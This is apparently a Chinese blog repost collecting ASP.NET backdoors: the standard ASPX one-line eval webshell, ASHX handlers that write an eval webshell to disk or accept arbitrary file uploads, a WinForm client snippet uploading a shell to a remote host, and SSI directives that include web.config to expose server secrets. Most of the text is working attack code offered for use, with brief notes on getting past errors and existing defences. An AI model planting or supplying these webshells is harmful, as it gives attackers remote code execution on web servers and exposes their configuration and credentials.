一、标准ASPX一句话木马

.NET平台下的一句话木马则百年不变,最常见的当属下面这句

<%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>

想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木马,只是一个简单的上传文件的功能,实际的操作还是大马或者小马的操作行为。

<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>

二、ASHX一句话木马

ashx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

这个马儿已经实现了菜刀可连,可用,还是挺棒的,但因为体积过大,并且在服务端实现了大多数功能,其实更像是一个大马,只是对客户端的菜刀做了适配可用。

二、ASHX写文件木马

木马执行后会在当前目录下生成webshell.asp一句话木马,密码是pass 也可以写入其它文件。

<%@ WebHandler Language="C#" class="Handler"% >
using System;
using System.Web;
using System.IO;
public class Handler:IHttpHandler {
 
public void ProcessRequest (HttpContext context) {
    context.Response.ContentType = "text/plain";
    StreamWriter file = File.CreateText(context.Server.MapPath("webshell.asp")));
    file.Write("<%eval request(\"pass\")%>");
    file.Flush();
    file.Close();
    context.Response.Write("www.webshell.cc");
}
 
public bool IsReusable {
    get {
        return false;
    }
}
}

将脚本中的Asp一句话改成菜刀的Aspx一句话~不过执行的时候爆错,说未知指令@Page。遂采用一下2种方式解决:

1.用String连接字符串

  1. <%@ WebHandler Language="C#" Class="Handler" %>
  2. using System;
  3. using System.Web;
  4. using System.IO;
  5. public class Handler : IHttpHandler {
  6. public void ProcessRequest (HttpContext context) {
  7. context.Response.ContentType = "text/plain";
  8. string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>";
  9. StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
  10. file1.Write(show);
  11. file1.Flush();
  12. file1.Close();
  13. }
  14. public bool IsReusable {
  15. get {
  16. return false;
  17. }
  18. }
  19. }

2.比较笨的方法,看代码吧

  1. <%@ WebHandler Language="C#" Class="Uploader" %>
  2. using System;
  3. using System.IO;
  4. using System.Web;
  5. public class Uploader : IHttpHandler
  6. {
  7. public void ProcessRequest(HttpContext hc)
  8. {
  9. foreach (string fileKey in hc.Request.Files)
  10. {
  11. HttpPostedFile file = hc.Request.Files[fileKey];
  12. file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));
  13. }
  14. }
  15. public bool IsReusable
  16. {
  17. get { return true; }
  18. }
  19. }

然后用VS建立WinForm程序~主函数里写:

    1. System.Net.WebClient myWebClient = new System.Net.WebClient();
    2. myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:\\ma.aspx");

三、stm/shtm/shtml脚本

虽然不能直接拿到webshell,但是可以获取到一些服务器信息。注意stm中的include可以将web.config文件中的内容包含进来。

<!--#ECHO var="ALL_HTTP"-->
当前文件名称:<!--#ECHO var="DOCUMENT_NAME"-->
Web服务器的名称和版本:<!--#ECHO var="SERVER_SOFTWARE"-->
主机名:<!--#ECHO var="SERVER_NAME"-->
端口:<!--#ECHO var="SERVER_PORT"-->
客户或客户代理IP地址:<!--#ECHO var="REMOTE_ADDR"-->
客户或客户代理主机名:<!--#ECHO var="REMOTE_HOST"-->
PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路径:
<!--#ECHO var="PATH_TRANSLATED"-->
客户端给出附加路径信息:<!--#ECHO var="PATH_INFO"-->
<!--#ECHO var="HTTP_ACCEPT"-->
<!--#ECHO var="DOCUMENT_URI"-->
<!--#include file="../../web.config"-->

ashx后门的更多相关文章

  1. ashx后门[转]

    https://www.cnblogs.com/Fluorescence-tjy/p/9855828.html 一.标准ASPX一句话木马 .NET平台下的一句话木马则百年不变,最常见的当属下面这句 ...

  2. Visual Studio 2013 添加一般应用程序(.ashx)文件到SharePoint项目

    默认,在用vs2013开发SharePoint项目时,vs没有提供一般应用程序(.ashx)的项目模板,本文解决此问题. 以管理员身份启动vs2013,创建一个"SharePoint 201 ...

  3. Microsoft Azure Web Sites应用与实践【4】—— Microsoft Azure网站的“后门”

    Microsoft Azure Web Sites应用与实践 系列: [1]—— 打造你的第一个Microsoft Azure Website [2]—— 通过本地IIS 远程管理Microsoft ...

  4. ashx中Response.ContentType的常用类型

    ashx中Response.ContentType的常用类型: text/plaintext/htmltext/xmlapplication/jsonimage/GIFapplication/x-cd ...

  5. 一种开发模式:ajax + ashx + UserControl

    一.ajax+ashx模式的缺点     在web开发过程中,为了提高网站的用户体验,或多或少都会用到ajax技术,甚至有的网站全部采用ajax来实现,大量使用ajax在增强用户体验的同时会带来一些负 ...

  6. shift粘滞键后门创建/复原批处理

    创建shift粘滞键后门: 1 c: 2 3 cd \Windows\System32\ 4 5 rename sethc.exe bak_sethc.exe 6 7 xcopy cmd.exe se ...

  7. 如何使用VS在SharePont 2013中插入ashx文件

    http://www.lifeonplanetgroove.com/adding-and-deploying-generic-handlers-ashx-to-a-sharepoint-2010-vi ...

  8. 分享一个html+js+ashx+easyui+ado.net权限管理系统

    EasyUI.权限管理 这是个都快被搞烂了的组合,但是easyui的确好用,权限管理在项目中的确实用.一直以来博客园里也不少朋友分享过,但是感觉好的要不没源码,要不就是过度设计写的太复杂看不懂,也懒得 ...

  9. rootkit后门检查工具RKHunter

    ---恢复内容开始--- rkhunter简介: 中文名叫"Rootkit猎手", rkhunter是Linux系统平台下的一款开源入侵检测工具,具有非常全面的扫描范围,除了能够检 ...

随机推荐

  1. [CF538H]Summer Dichotomy

    [CF538H]Summer Dichotomy 题目大意: ​ 将若干个学生分为两个班级\(S_1,S_2\),每个班的学生数分别为\(n_1,n_2\)(甚至可以没有学生,也可以没有老师).给出限 ...

  2. [CF865C]Gotta Go Fast

    题目大意: 一个游戏关卡有$n(n\le50)$个任务,若在$m$秒内按顺序完成所有任务则算作通过当前关卡.每个关卡有三个属性$a_i,b_i,p_i(1\le a_i<b_i\le100,80 ...

  3. Scala零基础教学【81-89】

    第81讲:Scala中List的构造是的类型约束逆变.协变.下界详解 首先复习四个概念——协变.逆变.上界.下界 对于一个带类型参数的类型,比如 List[T]: 如果对A及其子类型B,满足 List ...

  4. ProgressDialog进度条对话框

    (一) 1.效果图: 2.activity_main.xml <?xml version="1.0" encoding="utf-8"?> < ...

  5. Java中泛型得到T.class

    例子: public class Test<T> { public Class<T> getTClass() { return (Class<T>) ((Param ...

  6. 国内流行的开源.net微信公众平台SDK对比分析

    一.引言 目前微信公众平台正如火如荼的进行中,微信虽然在海外市场不敌WhatsApp,但是已经俘获了国内绝大部分用户的心.作为国内最大的,超级"app",微信已算是成功问鼎了.公众 ...

  7. [转] Matlab与C++混合编程,添加OpenCV库

    原文地址 峰回璐转 最近在做运动医学软件优化工作,此款软件框架及算法语言全由matlab实现,虽然matlab矩阵运算.数值计算能力强大,但速度让人难以忍 受.软件立刻移植到C++上又不太实际,故采用 ...

  8. Swift,集合

    1.创建(Set)集合(无序不可重复) (1)创建空集合 var a=Set<Int>() //[] (2)创建集合 var a:Set=[1,2,3] //[2,3,1] 2.集合插入( ...

  9. webpack导入es6的简单应用

    1.先全局安装babel的需要文件 npm install -g babel-cli npm install --save-dev babel-preset-es2015 babel-core bab ...

  10. [shell 编程] if [ $# -eq 0 ]该语句是什么含义?

    $0: shell或shell脚本的名字$*:以一对双引号给出参数列表$@:将各个参数分别加双引号返回$#:参数的个数$_:代表上一个命令的最后一个参数$$:代表所在命令的PID$!:代表最后执行的后 ...